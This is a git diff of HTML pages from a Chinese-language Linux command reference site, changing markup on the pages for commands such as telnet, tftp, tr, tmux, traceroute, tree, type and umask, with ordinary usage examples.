  • - - + + \ No newline at end of file diff --git a/c/telnet.html b/c/telnet.html index 2f3a220a45..ef456b208f 100644 --- a/c/telnet.html +++ b/c/telnet.html @@ -9,7 +9,7 @@ telnet 命令,Linux telnet 命令详解:登录远程主机和管理(测试ip端口是否连通) - Linux 命令搜索引擎 - + @@ -262,7 +262,7 @@ telnet 23/udp
    service xinetd restart
     
    - - + + \ No newline at end of file diff --git a/c/tempfile.html b/c/tempfile.html index f1dc7cdfe8..30775ef340 100644 --- a/c/tempfile.html +++ b/c/tempfile.html @@ -9,7 +9,7 @@ tempfile 命令,Linux tempfile 命令详解:shell中给临时文件命名 - Linux 命令搜索引擎 - + @@ -134,7 +134,7 @@ customElements.define('markdown-style', MarkdownStyle);

    $$是系统预定义变量,显示当前所在进程的进程号,用.$$作为添加的后缀会被扩展成当前运行脚本的进程id。

    - - + + \ No newline at end of file diff --git a/c/test.html b/c/test.html index c8e3049037..46fd66261d 100644 --- a/c/test.html +++ b/c/test.html @@ -9,7 +9,7 @@ test 命令,Linux test 命令详解:执行条件表达式。 - Linux 命令搜索引擎 - + @@ -125,31 +125,31 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件操作符:

    -
    -a FILE    如果文件存在,则为true。
    --b FILE    如果文件是块特殊的,则为true。
    --c FILE    如果文件是特殊字符,则为true。
    --d FILE    如果文件是目录,则为true。
    --e FILE    如果文件存在,则为true。
    --f FILE    如果文件存在并且是常规文件,则为true。
    --g FILE    如果文件是set-group-id,则为true。
    --h FILE    如果文件是符号链接,则为true。
    --L FILE    如果文件是符号链接,则为true。
    --k FILE    如果文件的粘滞位(sticky)设置了,则为true。
    --p FILE    如果文件是命名管道,则为true。
    --r FILE    如果您可以读取文件,则为true。
    --s FILE    如果文件存在且不为空,则为true。
    --S FILE    如果文件是套接字,则为true。
    --t FD      如果在终端上打开FD,则为True。
    --u FILE    如果文件是set-user-id,则为true。
    --w FILE    如果文件可写,则为true。
    --x FILE    如果您可以执行文件,则为true。
    --O FILE    如果文件有效地归您所有,则为true。
    --G FILE    如果文件有效地归您的组所有,则为true。
    --N FILE    如果文件自上次读取以来已被修改,则为true。
    +
    -a FILE    如果文件存在,则为true。
    +-b FILE    如果文件是块特殊的,则为true。
    +-c FILE    如果文件是特殊字符,则为true。
    +-d FILE    如果文件是目录,则为true。
    +-e FILE    如果文件存在,则为true。
    +-f FILE    如果文件存在并且是常规文件,则为true。
    +-g FILE    如果文件是set-group-id,则为true。
    +-h FILE    如果文件是符号链接,则为true。
    +-L FILE    如果文件是符号链接,则为true。
    +-k FILE    如果文件的粘滞位(sticky)设置了,则为true。
    +-p FILE    如果文件是命名管道,则为true。
    +-r FILE    如果您可以读取文件,则为true。
    +-s FILE    如果文件存在且不为空,则为true。
    +-S FILE    如果文件是套接字,则为true。
    +-t FD      如果在终端上打开FD,则为True。
    +-u FILE    如果文件是set-user-id,则为true。
    +-w FILE    如果文件可写,则为true。
    +-x FILE    如果您可以执行文件,则为true。
    +-O FILE    如果文件有效地归您所有,则为true。
    +-G FILE    如果文件有效地归您的组所有,则为true。
    +-N FILE    如果文件自上次读取以来已被修改,则为true。
         
    -FILE1 -nt FILE2    根据修改日期,如果 file1 比 file2 新,则为true。
    -FILE1 -ot FILE2    根据修改日期,如果 file1 比 file2 旧,则为true。
    -FILE1 -ef FILE2    如果 file1 为 file2 的硬链接,则为true。
    +FILE1 -nt FILE2    根据修改日期,如果 file1 比 file2 新,则为true。
    +FILE1 -ot FILE2    根据修改日期,如果 file1 比 file2 旧,则为true。
    +FILE1 -ef FILE2    如果 file1 为 file2 的硬链接,则为true。
     

    字符串运算符:

    -
    -z STRING              如果字符串为空,则为true。
    --n STRING              如果字符串不为空,则为true。
    +
    -z STRING              如果字符串为空,则为true。
    +-n STRING              如果字符串不为空,则为true。
     STRING                 如果字符串不为空,则为true。
     STRING1 = STRING2      如果字符串相等,则为true。
     STRING1 != STRING2    如果字符串不相等,则为true。
    @@ -193,12 +193,12 @@ STRING1 < STRING2      如果 STRING1 的字典排序在 STRING2 之前,则为
     STRING1 > STRING2      如果 STRING1 在字典排序在 STRING2 之后,则为true。
     " class="copied">

    其他运算符:

    -
    -o OPTION         如果启用了shell选项OPTION,则为true。
    --v VAR            如果设置了shell变量VAR,则为true。
    --R VAR            如果设置了shell变量VAR并且是变量引用,则为true。
    +
    -o OPTION         如果启用了shell选项OPTION,则为true。
    +-v VAR            如果设置了shell变量VAR,则为true。
    +-R VAR            如果设置了shell变量VAR并且是变量引用,则为true。
     !EXPR            如果expr为假,则为true。
    -EXPR1 -a EXPR2    如果expr1和expr2都为true,则为true。
    -EXPR1 -o EXPR2    如果expr1或expr2为true,则为true。
    +EXPR1 -a EXPR2    如果expr1和expr2都为true,则为true。
    +EXPR1 -o EXPR2    如果expr1或expr2为true,则为true。
     arg1 OP arg2      算术表达式测试; OP是 -eq,-ne,-lt,-le,-gt,-ge 中的一个;算术表达式为真时返回true。
     
  • 该命令是bash内建命令,相关的帮助信息请查看help命令。
  • - - + + \ No newline at end of file diff --git a/c/tftp.html b/c/tftp.html index d1bc6074c4..8f56d17932 100644 --- a/c/tftp.html +++ b/c/tftp.html @@ -9,7 +9,7 @@ tftp 命令,Linux tftp 命令详解:在本机和tftp服务器之间使用TFTP协议传输文件 - Linux 命令搜索引擎 - + @@ -146,9 +146,9 @@ yum install tftp yum install tftp-server " class="copied">

    如果不能上网,可以直接安装提供的rpm包:

    -
    rpm -ivh xinetd-2.3.14-18.fc9.i386.rpm
    -rpm -ivh tftp-0.48-3.fc9.i386.rpm
    -rpm -ivh tftp-server-0.48-3.fc9.i386.rpm
    +
    rpm -ivh xinetd-2.3.14-18.fc9.i386.rpm
    +rpm -ivh tftp-0.48-3.fc9.i386.rpm
    +rpm -ivh tftp-server-0.48-3.fc9.i386.rpm
     
    wait =yes user =root server =/usr/sbin/in.tftpd - server_args =-s /home/mike/tftpboot -c + server_args =-s /home/mike/tftpboot -c disable =no per_source =11 cps =100 2 @@ -199,7 +199,7 @@ service xinetd restart " class="copied">

    看到启动[OK]就可以了

    4、查看tftp服务是否开启

    -
    netstat -a | grep tftp
    +
    netstat -a | grep tftp
     

    显示结果为udp 0 0 *:tftp *:*表明服务已经开启,就表明tftp配置成功了。

    @@ -245,20 +245,20 @@ tftp>q

    如果要下载或上传文件的话是一定要用这些option的。

    -
    -g 表示下载文件 (get)
    --p 表示上传文件 (put)
    --l 表示本地文件名 (local file)
    --r 表示远程主机的文件名 (remote file)
    +
    -g 表示下载文件 (get)
    +-p 表示上传文件 (put)
    +-l 表示本地文件名 (local file)
    +-r 表示远程主机的文件名 (remote file)
     

    例如,要从远程主机192.168.1.2上下载 embedexpert,则应输入以下命令

    -
    tftp -g -r embedexpert 192.168.1.2
    +
    tftp -g -r embedexpert 192.168.1.2
     
    - - + + \ No newline at end of file diff --git a/c/time.html b/c/time.html index d32b90cb16..a67be5744d 100644 --- a/c/time.html +++ b/c/time.html @@ -9,7 +9,7 @@ time 命令,Linux time 命令详解:统计给定命令所花费的总时间 - Linux 命令搜索引擎 - + @@ -146,15 +146,15 @@ sys 0m0.007s

    shell内建也有一个time命令,当运行time时候是调用的系统内建命令,应为系统内建的功能有限,所以需要时间其他功能需要使用time命令可执行二进制文件/usr/bin/time

    使用-o选项将执行时间写入到文件中:

    -
    /usr/bin/time -o outfile.txt ls
    +
    /usr/bin/time -o outfile.txt ls
     

    使用-a选项追加信息:

    -
    /usr/bin/time -a -o outfile.txt ls
    +
    /usr/bin/time -a -o outfile.txt ls
     

    使用-f选项格式化时间输出:

    -
    /usr/bin/time -f "time: %U" ls
    +
    /usr/bin/time -f "time: %U" ls
     

    -f选项后的参数:

    @@ -220,7 +220,7 @@ sys 0m0.007s - - + + \ No newline at end of file diff --git a/c/timedatectl.html b/c/timedatectl.html index 3467965f16..afb57d9472 100644 --- a/c/timedatectl.html +++ b/c/timedatectl.html @@ -9,7 +9,7 @@ timedatectl 命令,Linux timedatectl 命令详解:用于在 Linux 中设置或查询系统时间、日期和时区等配置。 - Linux 命令搜索引擎 - + @@ -129,12 +129,12 @@ customElements.define('markdown-style', MarkdownStyle);参数
    Query or change system time and date settings.
     
    -  -h --help                显示帮助信息。
    -     --version             显示软件包版本。
    +  -h --help                显示帮助信息。
    +     --version             显示软件包版本。
          --no-pager            不用将输出通过管道传输到寻呼机(pager)。
          --no-ask-password     不提示输入密码。
    -  -H --host=[USER@]HOST    在远程主机上操作
    -  -M --machine=CONTAINER   在本地容器上操作。
    +  -H --host=[USER@]HOST    在远程主机上操作
    +  -M --machine=CONTAINER   在本地容器上操作。
          --adjust-system-clock 更改本地 RTC 模式时调整系统时钟。
     
     Commands:
    @@ -268,7 +268,7 @@ Root distance: 29.922ms (max: 5s)
         Frequency: +13.039ppm
     " class="copied">

    systemd-timedated 可能默认配置了谷歌的 NTP 服务器(如 time1.google.com),为了顺利完成网络时间同步,您可以编辑 /etc/systemd/timesyncd.conf 文件添加自己的 NTP 服务器地址。

    - - + + \ No newline at end of file diff --git a/c/times.html b/c/times.html index 49a058b4f6..b0e2ec8118 100644 --- a/c/times.html +++ b/c/times.html @@ -9,7 +9,7 @@ times 命令,Linux times 命令详解:显示进程累计时间。 - Linux 命令搜索引擎 - + @@ -143,7 +143,7 @@ times
    1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
    - - + + \ No newline at end of file diff --git a/c/tload.html b/c/tload.html index 5d1de8394c..d0ee3d8d67 100644 --- a/c/tload.html +++ b/c/tload.html @@ -9,7 +9,7 @@ tload 命令,Linux tload 命令详解:显示系统负载状况 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ customElements.define('markdown-style', MarkdownStyle);终端:指定显示信息的终端设备文件。

    实例

    使用tload命令查看系统负载情况:

    -
    tload -d 1
    +
    tload -d 1
     0.08, 0.02,0.01
     0.04, 0.01, 0.00
     0.04, 0.01, 0.00
    @@ -144,7 +144,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/tmux.html b/c/tmux.html index 4c93d6e94d..9cccae7f77 100644 --- a/c/tmux.html +++ b/c/tmux.html @@ -9,7 +9,7 @@ tmux 命令,Linux tmux 命令详解:Tmux是一个优秀的终端复用软件,类似GNU Screen,但来自于OpenBSD,采用BSD授权 - Linux 命令搜索引擎 - + @@ -134,11 +134,11 @@ customElements.define('markdown-style', MarkdownStyle);# ubuntu版本下直接apt-get安装 sudo apt-get install tmux # centos7版本下直接yum安装 -yum install -y tmux +yum install -y tmux # centos6版本需要编译安装 yum install libevent libevent-devel ncurses-devel -tar -zvxf tmux-2.3.tar.gz # (提前下载:wget https://github.com/tmux/tmux/releases/download/2.3/tmux-2.3.tar.gz) +tar -zvxf tmux-2.3.tar.gz # (提前下载:wget https://github.com/tmux/tmux/releases/download/2.3/tmux-2.3.tar.gz) cd tmux-2.3 ./configure make && make install @@ -383,7 +383,7 @@ ctrl+b d # 脱离当前会话;这样可以暂时返回Shell界面, - - + + \ No newline at end of file diff --git a/c/top.html b/c/top.html index 6b02e8931e..007f12b230 100644 --- a/c/top.html +++ b/c/top.html @@ -9,7 +9,7 @@ top 命令,Linux top 命令详解:显示或管理执行中的程序 - Linux 命令搜索引擎 - + @@ -218,7 +218,7 @@ Swap: 5144568k total, 56k used, 5144512k free, 2013180k cached
  • 5144512k free[空闲交换区总量],
  • 2013180k cached[缓冲的交换区总量],
  • - - + + \ No newline at end of file diff --git a/c/touch.html b/c/touch.html index fd5a2e506e..7a3fa36f15 100644 --- a/c/touch.html +++ b/c/touch.html @@ -9,7 +9,7 @@ touch 命令,Linux touch 命令详解:创建新的空文件 - Linux 命令搜索引擎 - + @@ -156,7 +156,7 @@ customElements.define('markdown-style', MarkdownStyle);echo "job 1" > job1.md
    - - + + \ No newline at end of file diff --git a/c/tput.html b/c/tput.html index 6f2c70e68f..d83a623847 100644 --- a/c/tput.html +++ b/c/tput.html @@ -9,7 +9,7 @@ tput 命令,Linux tput 命令详解:通过terminfo数据库对终端会话进行初始化和操作 - Linux 命令搜索引擎 - + @@ -340,7 +340,7 @@ exit 0
    # Set bold mode tput bold tput cup 12 15 -read -p "Enter your choice [1-4] " choice +read -p "Enter your choice [1-4] " choice tput clear tput sgr0 tput rc @@ -378,7 +378,7 @@ tput rc exit 0 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/tr.html b/c/tr.html index b1cd0a1405..a0f48eac2d 100644 --- a/c/tr.html +++ b/c/tr.html @@ -9,7 +9,7 @@ tr 命令,Linux tr 命令详解:将字符进行替换压缩和删除 - Linux 命令搜索引擎 - + @@ -145,7 +145,7 @@ hello world " class="copied">

    'A-Z' 和 'a-z'都是集合,集合是可以自己制定的,例如:'ABD-}'、'bB.,'、'a-de-h'、'a-c0-9'都属于集合,集合里可以使用'\n'、'\t',可以可以使用其他ASCII字符。

    使用tr删除字符:

    -
    echo "hello 123 world 456" | tr -d '0-9'
    +
    echo "hello 123 world 456" | tr -d '0-9'
     hello  world 
     

    此例中,补集中包含了数字0~9、空格和换行符\n,所以没有被删除,其他字符全部被删除了。

    用tr压缩字符,可以压缩输入中重复的字符:

    -
    echo "thissss is      a text linnnnnnne." | tr -s ' sn'
    +
    echo "thissss is      a text linnnnnnne." | tr -s ' sn'
     this is a text line.
     

    巧妙使用tr做数字相加操作:

    -
    echo 1 2 3 4 5 6 7 8 9 | xargs -n1 | echo $[ $(tr '\n' '+') 0 ]
    +
    echo 1 2 3 4 5 6 7 8 9 | xargs -n1 | echo $[ $(tr '\n' '+') 0 ]
     

    删除Windows文件“造成”的'^M'字符:

    -
    cat file | tr -s "\r" "\n" > new_file
    +
    cat file | tr -s "\r" "\n" > new_file
     或
    -cat file | tr -d "\r" > new_file
    +cat file | tr -d "\r" > new_file
     
    tr '[:lower:]' '[:upper:]'
    - - + + \ No newline at end of file diff --git a/c/tracepath.html b/c/tracepath.html index 7fb252c878..9704461ee9 100644 --- a/c/tracepath.html +++ b/c/tracepath.html @@ -9,7 +9,7 @@ tracepath 命令,Linux tracepath 命令详解:追踪目的主机经过的路由信息 - Linux 命令搜索引擎 - + @@ -160,7 +160,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/traceroute.html b/c/traceroute.html index 2e8ae9820f..10935c95f1 100644 --- a/c/traceroute.html +++ b/c/traceroute.html @@ -9,7 +9,7 @@ traceroute 命令,Linux traceroute 命令详解:显示数据包到主机间的路径 - Linux 命令搜索引擎 - + @@ -218,12 +218,12 @@ traceroute to www.baidu.com (61.135.169.105), 10 hops max, 40 byte packets 10 * * * " class="copied">

    其它一些实例

    -
    traceroute -m 10 www.baidu.com # 跳数设置
    -traceroute -n www.baidu.com    # 显示IP地址,不查主机名
    -traceroute -p 6888 www.baidu.com  # 探测包使用的基本UDP端口设置6888
    -traceroute -q 4 www.baidu.com  # 把探测包的个数设置为值4
    -traceroute -r www.baidu.com    # 绕过正常的路由表,直接发送到网络相连的主机
    -traceroute -w 3 www.baidu.com  # 把对外发探测包的等待响应时间设置为3秒
    +
    traceroute -m 10 www.baidu.com # 跳数设置
    +traceroute -n www.baidu.com    # 显示IP地址,不查主机名
    +traceroute -p 6888 www.baidu.com  # 探测包使用的基本UDP端口设置6888
    +traceroute -q 4 www.baidu.com  # 把探测包的个数设置为值4
    +traceroute -r www.baidu.com    # 绕过正常的路由表,直接发送到网络相连的主机
    +traceroute -w 3 www.baidu.com  # 把对外发探测包的等待响应时间设置为3秒
     
    - - + + \ No newline at end of file diff --git a/c/trap.html b/c/trap.html index 54fd2a225b..533d9b7489 100644 --- a/c/trap.html +++ b/c/trap.html @@ -9,7 +9,7 @@ trap 命令,Linux trap 命令详解:捕捉信号和其他事件并执行命令。 - Linux 命令搜索引擎 - + @@ -125,8 +125,8 @@ customElements.define('markdown-style', MarkdownStyle);脚本程序被中断时执行清理工作。

    选项

    -
    -l    打印信号名称以及信号名称对应的数字。
    --p    显示与每个信号关联的trap命令。
    +
    -l    打印信号名称以及信号名称对应的数字。
    +-p    显示与每个信号关联的trap命令。
     
    @@ -227,7 +227,7 @@ customElements.define('markdown-style', MarkdownStyle);阮一峰: Bash 脚本如何创建临时文件:mktemp 命令和 trap 命令教程
  • 【Bash百宝箱】shell内建命令之trap
  • - - + + \ No newline at end of file diff --git a/c/tree.html b/c/tree.html index 3deccda57a..e77357747b 100644 --- a/c/tree.html +++ b/c/tree.html @@ -9,7 +9,7 @@ tree 命令,Linux tree 命令详解:树状图列出目录的内容 - Linux 命令搜索引擎 - + @@ -123,59 +123,59 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    ------- 列表选项 -------
    --a            # 显示所有文件和目录。
    --d            # 显示目录名称而非文件。
    --l            # 如遇到性质为符号连接的目录,直接列出该连接所指向的原始目录。
    --f            # 在每个文件或目录之前,显示完整的相对路径名称。
    --x            # 将范围局限在现行的文件系统中,若指定目录下的某些子目录,其存放于另一个文件系统上,则将该目录予以排除在寻找范围外。
    --L level      # 限制目录显示层级。
    --R            # Rerun tree when max dir level reached.
    --P pattern    # <范本样式> 只显示符合范本样式的文件和目录名称。
    --I pattern    # Do not list files that match the given pattern.
    +-a            # 显示所有文件和目录。
    +-d            # 显示目录名称而非文件。
    +-l            # 如遇到性质为符号连接的目录,直接列出该连接所指向的原始目录。
    +-f            # 在每个文件或目录之前,显示完整的相对路径名称。
    +-x            # 将范围局限在现行的文件系统中,若指定目录下的某些子目录,其存放于另一个文件系统上,则将该目录予以排除在寻找范围外。
    +-L level      # 限制目录显示层级。
    +-R            # Rerun tree when max dir level reached.
    +-P pattern    # <范本样式> 只显示符合范本样式的文件和目录名称。
    +-I pattern    # Do not list files that match the given pattern.
     --ignore-case # Ignore case when pattern matching.
    ---matchdirs   # Include directory names in -P pattern matching.
    ---noreport    # Turn off file/directory count at end of tree listing.
    ---charset X   # Use charset X for terminal/HTML and indentation line output.
    ---filelimit # # Do not descend dirs with more than # files in them.
    ---timefmt <f> # Print and format time according to the format <f>.
    --o filename   # Output to file instead of stdout.
    +--matchdirs   # Include directory names in -P pattern matching.
    +--noreport    # Turn off file/directory count at end of tree listing.
    +--charset X   # Use charset X for terminal/HTML and indentation line output.
    +--filelimit # # Do not descend dirs with more than # files in them.
    +--timefmt <f> # Print and format time according to the format <f>.
    +-o filename   # Output to file instead of stdout.
     -------- 文件选项 ---------
    --q            # 用“?”号取代控制字符,列出文件和目录名称。
    --N            # 直接列出文件和目录名称,包括控制字符。
    --Q            # Quote filenames with double quotes.
    --p            # 列出权限标示。
    --u            # 列出文件或目录的拥有者名称,没有对应的名称时,则显示用户识别码。
    --g            # 列出文件或目录的所属群组名称,没有对应的名称时,则显示群组识别码。
    --s            # 列出文件和目录大小。
    --h            # Print the size in a more human readable way.
    ---si          # Like -h, but use in SI units (powers of 1000).
    --D            # 列出文件或目录的更改时间。
    --F            # 在执行文件,目录,Socket,符号连接,管道名称名称,各自加上"*","/","@","|"号。
    ---inodes      # Print inode number of each file.
    ---device      # Print device ID number to which each file belongs.
    +-q            # 用“?”号取代控制字符,列出文件和目录名称。
    +-N            # 直接列出文件和目录名称,包括控制字符。
    +-Q            # Quote filenames with double quotes.
    +-p            # 列出权限标示。
    +-u            # 列出文件或目录的拥有者名称,没有对应的名称时,则显示用户识别码。
    +-g            # 列出文件或目录的所属群组名称,没有对应的名称时,则显示群组识别码。
    +-s            # 列出文件和目录大小。
    +-h            # Print the size in a more human readable way.
    +--si          # Like -h, but use in SI units (powers of 1000).
    +-D            # 列出文件或目录的更改时间。
    +-F            # 在执行文件,目录,Socket,符号连接,管道名称名称,各自加上"*","/","@","|"号。
    +--inodes      # Print inode number of each file.
    +--device      # Print device ID number to which each file belongs.
     ------- 排序选项 -------
    --v            # Sort files alphanumerically by version.
    --t            # 用文件和目录的更改时间排序。
    --c            # Sort files by last status change time.
    --U            # Leave files unsorted.
    --r            # Reverse the order of the sort.
    ---dirsfirst   # List directories before files (-U disables).
    ---sort X      # Select sort: name,version,size,mtime,ctime.
    +-v            # Sort files alphanumerically by version.
    +-t            # 用文件和目录的更改时间排序。
    +-c            # Sort files by last status change time.
    +-U            # Leave files unsorted.
    +-r            # Reverse the order of the sort.
    +--dirsfirst   # List directories before files (-U disables).
    +--sort X      # Select sort: name,version,size,mtime,ctime.
     ------- 图形选项 ------
    --i            # 不以阶梯状列出文件和目录名称。
    --A            # 使用ASNI绘图字符显示树状图而非以ASCII字符组合。
    --S            # Print with CP437 (console) graphics indentation lines.
    --n            # Turn colorization off always (-C overrides).
    --C            # 在文件和目录清单加上色彩,便于区分各种类型。
    +-i            # 不以阶梯状列出文件和目录名称。
    +-A            # 使用ASNI绘图字符显示树状图而非以ASCII字符组合。
    +-S            # Print with CP437 (console) graphics indentation lines.
    +-n            # Turn colorization off always (-C overrides).
    +-C            # 在文件和目录清单加上色彩,便于区分各种类型。
     ------- XML / HTML / JSON选项 -------
    --X            # Prints out an XML representation of the tree.
    --J            # Prints out an JSON representation of the tree.
    --H baseHREF   # Prints out HTML format with baseHREF as top directory.
    --T string     # Replace the default HTML title and H1 header with string.
    ---nolinks     # Turn off hyperlinks in HTML output.
    +-X            # Prints out an XML representation of the tree.
    +-J            # Prints out an JSON representation of the tree.
    +-H baseHREF   # Prints out HTML format with baseHREF as top directory.
    +-T string     # Replace the default HTML title and H1 header with string.
    +--nolinks     # Turn off hyperlinks in HTML output.
     ---- 杂项选项 ----
    ---version     # 输入版本信息。
    ---help        # 打印使用帮助信息。
    +--version     # 输入版本信息。
    +--help        # 打印使用帮助信息。
     --            # Options processing terminator.
     
    实例

    列出目录/private/ 第一级文件名

    -
    tree  /private/ -L 1
    +
    tree  /private/ -L 1
     /private/
     ├── etc
     ├── tftpboot
    @@ -251,17 +251,17 @@ customElements.define('markdown-style', MarkdownStyle);

    忽略文件夹

    -
    tree -I node_modules # 忽略当前目录文件夹node_modules
    -tree -P node_modules # 列出当前目录文件夹node_modules的目录结构
    -tree -P node_modules -L 2 # 显示目录node_modules两层的目录树结构
    -tree -L 2 > /home/www/tree.txt # 当前目录结果存到 tree.txt 文件中
    +
    tree -I node_modules # 忽略当前目录文件夹node_modules
    +tree -P node_modules # 列出当前目录文件夹node_modules的目录结构
    +tree -P node_modules -L 2 # 显示目录node_modules两层的目录树结构
    +tree -L 2 > /home/www/tree.txt # 当前目录结果存到 tree.txt 文件中
     

    忽略多个文件夹

    -
    tree -I 'node_modules|icon|font' -L 2
    +
    tree -I 'node_modules|icon|font' -L 2
     

    非树状结构列出目录/private/下的所有文件

    @@ -282,7 +282,7 @@ tree -L 2 > /home/www/tree.txt # 当前目录结果存到 tree.txt 文件中 /private/etc/b2 /private/tftpboot " class="copied">
    - - + + \ No newline at end of file diff --git a/c/true.html b/c/true.html index 9a3b57ca36..c25c1b9f84 100644 --- a/c/true.html +++ b/c/true.html @@ -9,7 +9,7 @@ true 命令,Linux true 命令详解:返回状态为成功。 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);返回状态总是成功;返回值为0。

    例子

    # 当你的脚本设置set -e时,任何返回值为失败的命令都会使得脚本退出。
    -set -e
    +set -e
     # 如何临时跳过呢?下面的语句使用逻辑或操作符连接true,返回值一定为真。
     some_command || true
     
    @@ -143,7 +143,7 @@ some_command || true
     
    1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
    - - + + \ No newline at end of file diff --git a/c/tty.html b/c/tty.html index fda87c8d0d..4e303e25bb 100644 --- a/c/tty.html +++ b/c/tty.html @@ -9,7 +9,7 @@ tty 命令,Linux tty 命令详解:显示连接到当前标准输入的终端设备文件名 - Linux 命令搜索引擎 - + @@ -124,9 +124,9 @@ customElements.define('markdown-style', MarkdownStyle);显示连接到当前标准输入的终端设备文件名,当标准输入不是终端时打印 "not a tty"。

    选项

    -
    -s, --silent, --quiet    不打印任何信息,只返回退出状态。
    ---help                   显示帮助信息并退出。
    ---version                显示版本信息并退出。
    +
    -s, --silent, --quiet    不打印任何信息,只返回退出状态。
    +--help                   显示帮助信息并退出。
    +--version                显示版本信息并退出。
     

    查找终端关联的进程(假设是 pts/2)

    # 注意是筛选 TTY 列。
    -ps -ef | egrep "pts/2 " | grep -v grep
    +ps -ef | egrep "pts/2 " | grep -v grep
     
    @@ -150,7 +150,7 @@ ps -ef | egrep "pts/2 " | grep -v grep
    1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 ttyinfo coreutils 'tty invocation'
    - - + + \ No newline at end of file diff --git a/c/type.html b/c/type.html index f28351f5f0..6f2d57617f 100644 --- a/c/type.html +++ b/c/type.html @@ -9,7 +9,7 @@ type 命令,Linux type 命令详解:显示指定命令的类型。 - Linux 命令搜索引擎 - + @@ -155,7 +155,7 @@ mybash(){ vim ~/.bashrc; } 而且执行环境里没有使用enable禁用内建命令。 " class="copied">
    -
    type -a mybash
    +
    type -a mybash
     # 输出
     mybash is a function
     mybash ()
    @@ -163,20 +163,20 @@ mybash(){ vim ~/.bashrc; }
         vim ~/.bashrc
     }
     
    -type -a -f mybash
    +type -a -f mybash
     # 输出(因为排除了函数,所以报错)
     bash: type: mybash: not found
     
    -type -a -p mybash
    +type -a -p mybash
     # 输出为空(因为排除了函数,所以什么也不返回)
     
    -type -a ls
    +type -a ls
     # 输出
    -ls is aliased to `ls --color=suto'
    +ls is aliased to `ls --color=suto'
     ls is /usr/bin/ls
     ls is /bin/ls
     
    -type -a -p ls
    +type -a -p ls
     # 输出
     /usr/bin/ls
     /bin/ls
    @@ -209,10 +209,10 @@ type -a -p ls
     
    # '-f'不会影响'-P'的范围,'-f'不建议和'-p'使用。
     # 注意:printf同时是内建命令以及可执行文件(GNU coreutils),优先作为内建处理。
     
    -type -p printf
    +type -p printf
     # 输出为空
     
    -type -P printf
    +type -P printf
     # 输出
     /usr/bin/printf
     /bin/printf
    @@ -229,26 +229,26 @@ type -P printf
     " class="copied">
    # 如果有多个类型,那么输出优先级最高的类型。
     
    -type -t ls
    +type -t ls
     # 输出
     alias
     
    -type -t for
    +type -t for
     # 输出(bash关键字)
     keyword
     
    -type -t mybash
    +type -t mybash
     # 输出
     function
     
    -type -t -f mybash
    +type -t -f mybash
     # 输出空值
     
    -type -t printf
    +type -t printf
     # 输出(bash内建优先级高)
     builtin
     
    -type -t chmod
    +type -t chmod
     # 输出
     file
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -356,7 +356,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/ulimit.html b/c/ulimit.html index 906c3f6f81..330d4b8520 100644 --- a/c/ulimit.html +++ b/c/ulimit.html @@ -9,7 +9,7 @@ ulimit 命令,Linux ulimit 命令详解:控制shell程序的资源 - Linux 命令搜索引擎 - + @@ -127,19 +127,19 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -a:显示目前资源限制的设定;
    --c <core文件上限>:设定core文件的最大值,单位为区块;
    --d <数据节区大小>:程序数据节区的最大值,单位为KB;
    --e 默认进程优先级, 值越小优先级越高
    --f <文件大小>:shell所能建立的最大文件,单位为区块;
    +-c <core文件上限>:设定core文件的最大值,单位为区块;
    +-d <数据节区大小>:程序数据节区的最大值,单位为KB;
    +-e 默认进程优先级, 值越小优先级越高
    +-f <文件大小>:shell所能建立的最大文件,单位为区块;
     -H:设定资源的硬性限制,也就是管理员所设下的限制;
    --m <内存大小>:指定可使用内存的上限,单位为KB;
    --n <文件数目>:指定同一时间最多可开启的文件数;
    --p <缓冲区大小>:指定管道缓冲区的大小,单位512字节;
    --s <堆叠大小>:指定堆叠的上限,单位为KB;
    +-m <内存大小>:指定可使用内存的上限,单位为KB;
    +-n <文件数目>:指定同一时间最多可开启的文件数;
    +-p <缓冲区大小>:指定管道缓冲区的大小,单位512字节;
    +-s <堆叠大小>:指定堆叠的上限,单位为KB;
     -S:设定资源的弹性限制;
    --t <CPU时间>:指定CPU使用时间的上限,单位为秒;
    --u <程序数目>:用户最多可开启的程序数目;
    --v <虚拟内存大小>:指定可使用的虚拟内存上限,单位为KB。
    +-t <CPU时间>:指定CPU使用时间的上限,单位为秒;
    +-u <程序数目>:用户最多可开启的程序数目;
    +-v <虚拟内存大小>:指定可使用的虚拟内存上限,单位为KB。
     
    - - + + \ No newline at end of file diff --git a/c/umask.html b/c/umask.html index 2a47e8ffff..405a8cebbd 100644 --- a/c/umask.html +++ b/c/umask.html @@ -9,7 +9,7 @@ umask 命令,Linux umask 命令详解:显示或设置创建文件的权限掩码。 - Linux 命令搜索引擎 - + @@ -138,11 +138,11 @@ customElements.define('markdown-style', MarkdownStyle);例子

    以下的例子均假设文件权限掩码为0022。

    # 以八进制数的形式输出创建文件的权限掩码。
    -umask -p
    +umask -p
     # 执行结果:
     umask 0022
     # 以符号组合的方式输出创建文件的权限掩码。
    -umask -S
    +umask -S
     # 执行结果:
     u=rwx,g=rx,o=rx
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -296,7 +296,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
